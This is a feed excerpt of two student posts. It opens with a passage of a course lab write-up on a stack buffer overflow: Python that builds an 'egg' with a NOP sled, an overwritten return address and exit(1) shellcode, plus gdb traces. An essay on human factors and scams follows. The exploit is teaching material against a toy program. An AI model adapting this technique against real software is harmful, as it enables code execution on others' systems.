&lt;p&gt;The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Constructing the egg for vuln
&lt;/h2&gt;

&lt;p&gt;Next, we needed to get that shellcode into vuln’s stack and redirect execution there.&lt;br&gt;
We decided on this layout for the egg:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] → NOP sled (\x90 × 8)&lt;/li&gt;
&lt;li&gt;saved EBP → "BBBB"&lt;/li&gt;
&lt;li&gt;saved EIP → address of shellcode on the stack&lt;/li&gt;
&lt;li&gt;shellcode bytes right after that
So Python to generate egg:
python
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;BUF_ADDR&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffc838&lt;/span&gt;        &lt;span class="c1"&gt;# from gdb: print &amp;amp;buffer
&lt;/span&gt;&lt;span class="n"&gt;SHELL_ADDR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BUF_ADDR&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;     &lt;span class="c1"&gt;# where shellcode starts after gets()
&lt;/span&gt;
&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x40&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x89\xc3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xb8\x01\x00\x00\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xcd\x80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;NOP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NOP&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;          &lt;span class="c1"&gt;# buffer[8]
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BBBB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# saved EBP
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SHELL_ADDR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# saved EIP
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;        &lt;span class="c1"&gt;# shellcode after the return address
&lt;/span&gt;
&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We confirmed the file contents:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xxd &lt;span class="nt"&gt;-g1&lt;/span&gt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NOP sled&lt;/li&gt;
&lt;li&gt;42 42 42 42 = 'BBBB'&lt;/li&gt;
&lt;li&gt;48 c8 ff ff = 0xffffc848 (shellcode address)&lt;/li&gt;
&lt;li&gt;then the shellcode bytes.
Exactly what we wanted.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Verifying the smash and control flow in gdb
&lt;/h2&gt;

&lt;p&gt;We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb vuln
(gdb) break vuln
(gdb) run &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We hit the breakpoint at gets(buffer):&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we stepped over gets so that the input from egg actually got copied into buffer:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) next
6       }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then dumped buffer:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) x/32xb &amp;amp;buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So on the stack we had exactly the bytes from egg:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] = 8 NOPs at 0xffffc838&lt;/li&gt;
&lt;li&gt;saved EBP = 0x42424242&lt;/li&gt;
&lt;li&gt;saved EIP = 0xffffc848&lt;/li&gt;
&lt;li&gt;shellcode beginning at 0xffffc848
info frame confirmed the saved EIP:
text
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.&lt;br&gt;
We then let it continue:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.&lt;/p&gt;

&lt;p&gt;With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4htbtd0c1eu6856th8x4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4htbtd0c1eu6856th8x4.png" alt=" "&gt;&lt;/a&gt;&lt;br&gt;
Above is the image of the buffer address of the other machine. &lt;/p&gt;

&lt;p&gt;Here is the content of the other "egg" file and the results of running it in this machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gpf74ya54ptesaterx1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gpf74ya54ptesaterx1.png" alt=" "&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6he2ta1iiryy7vmmix8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6he2ta1iiryy7vmmix8.png" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  5. The annoying “outside gdb” segfault
&lt;/h2&gt;

&lt;p&gt;We did notice that running:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln &amp;lt; egg
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;gave 139 (segmentation fault), not 1. That confused us.&lt;br&gt;
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &amp;amp;buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.&lt;br&gt;
The MP1 instructions, though, explicitly focus on using gdb to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;get &amp;amp;buffer&lt;/li&gt;
&lt;li&gt;write an egg&lt;/li&gt;
&lt;li&gt;run vuln &amp;lt; egg in gdb and show the behavior&lt;/li&gt;
&lt;li&gt;They never require that ./vuln &amp;lt; egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:&lt;/li&gt;
&lt;li&gt;the smash works (we overwrote saved EIP), and&lt;/li&gt;
&lt;li&gt;control flow goes into our shellcode and returns exit code 1.
That’s exactly what the assignment describes.
## 6. Summary of what we accomplished
As a group (Akhy, Lark, and Carl), we:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.&lt;br&gt;
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).&lt;br&gt;
3.) Constructed an egg payload that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;fills buffer with a NOP sled,&lt;/li&gt;
&lt;li&gt;overwrites saved EBP with junk,&lt;/li&gt;
&lt;li&gt;overwrites saved EIP with the address of our shellcode on the stack,&lt;/li&gt;
&lt;li&gt;places the shellcode at that address.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;4.) Verified in gdb that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;buffer contains our payload,&lt;/li&gt;
&lt;li&gt;saved EIP equals the shellcode address (0xffffc848),&lt;/li&gt;
&lt;li&gt;continuing from vuln returns into the shellcode and the process exits with code 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

</description>
      <category>c</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Thoughts on Human Factors in Cybersecurity:</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Sun, 08 Feb 2026 15:41:12 +0000</pubDate>
      <link>https://forem.com/acchanli/thoughts-on-human-factors-in-cybersecurity-1e4b</link>
      <guid>https://forem.com/acchanli/thoughts-on-human-factors-in-cybersecurity-1e4b</guid>
      <description>&lt;p&gt;We are just starting our Cybersecurity course in Uni and our professor opens our journey with a question "What do you think are the causes of leaks or unauthorized access?". Initially, we immediately think about how easy it can be to bypass security measures. However, he emphasizes that it isn’t only about weak security nor the technology, but also the fault of humans or users.&lt;/p&gt;

&lt;p&gt;In other words, while technical systems may have vulnerabilities, many security incidents occur because of human error, poor security practices, or user behavior being exploited.&lt;/p&gt;

&lt;p&gt;With this in mind, our group talked about a few real-life examples and experiences that show how human behavior affects cybersecurity.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I unapologetically shame people for falling for online scams—until I became one. During Typhoon Tino, floodwaters drowned our car, damaging its ECU. No local repair shops in Cebu had replacements and  the "cheapest" options were in Luzon. Desperate, we connected through the repairman's family from Manila to a seller offering a steal.&lt;br&gt;
They demanded a 75% down payment upfront. We haggled it to 20%, which was a small win amid chaos. To finally seal trust, they sent a photo of the "package," label attached with our details. Exhausted and eager to get mobile again, we wired the cash via Gcash without a second scan.&lt;br&gt;
Too late, we spotted the red flags: mismatched font sizes on the label, a telltale edit we later traced to a stock scam image online. The ECU never came. We were duped.&lt;br&gt;
It wasn't just about our flaws of desperation and bias that made us miss obvious fakes, even with tech tools right there. It's equally about their nerve too, scammers hijacking GCash and chats to spin believable lies that exploit other people's difficulties. &lt;br&gt;
Human factors in computer security aren't just our slip-ups from stress or shortcuts. They're also the deliberate malice—crooks twisting the same tools we rely on into traps. Both sides make us the real battleground in cyber risks. Now, when pressure hits, I double-check every detail before sending money online.&lt;/p&gt;

&lt;p&gt;-Student A&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;p&gt;Where Emotion Meets Exploit&lt;br&gt;
We like to think security is all about code, firewalls, and encryption. But peel back the layers of any breach, and you’ll often find something far more human.&lt;br&gt;
Humans are emotional — beautifully imperfect. And that’s what makes us both the strongest and weakest link in computer security.&lt;br&gt;
Our emotions shape how we design, protect, and even attack systems. When I’m drained or discouraged, I’ll admit—security feels like a chore. I might skip extra validation, trust default settings, or postpone patching because I tell myself, it can wait. But on a good day—focused, enthusiastic—I’ll dig deeper. I’ll test edge cases, challenge assumptions, and think like an attacker. My mindset changes the entire quality of my work.&lt;br&gt;
That’s the truth we often ignore: cybersecurity doesn’t just rely on logic; it depends on emotion.&lt;br&gt;
Attackers know this better than most. They understand human psychology as well as they understand exploits. A kind message, a tone of familiarity, an urgent deadline—these small emotional triggers become attack vectors. A well-crafted email can bypass the sharpest security systems simply by slipping through the softest part of any defense: trust.&lt;br&gt;
Imagine opening an email from a colleague. It’s casual, friendly—maybe a meme, something to lighten the mood. You click without thinking. But behind that innocent image hides a payload, waiting. Within seconds, ransomware runs, files encrypt, networks collapse. The breach didn’t happen because you lacked technical knowledge—it happened because you acted like a human.&lt;br&gt;
That’s the uncomfortable reality: people don’t fall for scams because they’re careless; they fall because they care—because they trust, empathize, laugh, or rush.&lt;br&gt;
To build truly secure systems, we need to stop pretending humans are the problem to engineer away. We’re not glitches. We’re part of the architecture. Training won’t work if it’s just checkboxes and policy reminders. It has to meet people where they are—stressed, distracted, emotional, real.&lt;br&gt;
Security awareness should evolve beyond memorized threats into emotional literacy: understanding why urgency clouds judgment, why flattery lowers defenses, and why even happiness can be weaponized.&lt;br&gt;
At its core, cybersecurity is a story about people—our fears, reactions, impulses. Technology may keep the walls strong, but only awareness keeps the gates closed.&lt;br&gt;
In the end, protecting systems starts with protecting minds. Because the most advanced firewall in the world still can’t patch human emotion.&lt;/p&gt;

&lt;p&gt;-Student B&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;p&gt;Honestly, I don’t think most of my accounts are very secure. I tend to use one main password for almost everything — from social media to gaming accounts. Since I’m quite forgetful, it’s convenient for me to just remember this one password, and I usually make small variations by adding a digit or special character when needed. I also don't enable my 2-factor authentication since it's really a hassle. Looking back, I realize this makes my accounts more vulnerable and is exactly the kind of human behavior our professor was referring to — even if the security system itself is strong, weak password practices can still put me at risk.&lt;/p&gt;

&lt;p&gt;Despite knowing this, I still lean toward prioritizing convenience over security, mainly because my past experiences have made me wary of being locked out of my own accounts. For example, when my phone broke and I had two-factor authentication enabled, I couldn’t access my online wallet for quite a while because I couldn’t figure out how to verify my email and regain access.&lt;br&gt;
I think that as long as I don’t fall for phishing scams or click on any malicious links, I’ll be fine for now. Most of the time, I rely on my caution to avoid obvious threats. However, I realize I could still fall victim to more sophisticated scams if I were ever targeted — after all, I once got roped into a pyramid scheme. For this reason, I agree with Student B’s opinion that cybersecurity strategies should evolve to take human emotion and behavior into account, so that experiences like Student A’s happen less frequently in online/cybersecurity scenarios.&lt;/p&gt;

&lt;p&gt;-Student C&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In conclusion, while technology can continue to evolve and improve, we cannot rely on it alone to keep us safe. Human awareness and responsible behavior are essential in preventing security breaches, and understanding our own habits can make a big difference. It’s not about blaming anyone — it’s about recognizing that both strong systems and mindful users are needed for effective cybersecurity. &lt;/p&gt;

&lt;p&gt;What's your cybersecurity story?&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>security</category>
    </item>
  </channel>
</rss>
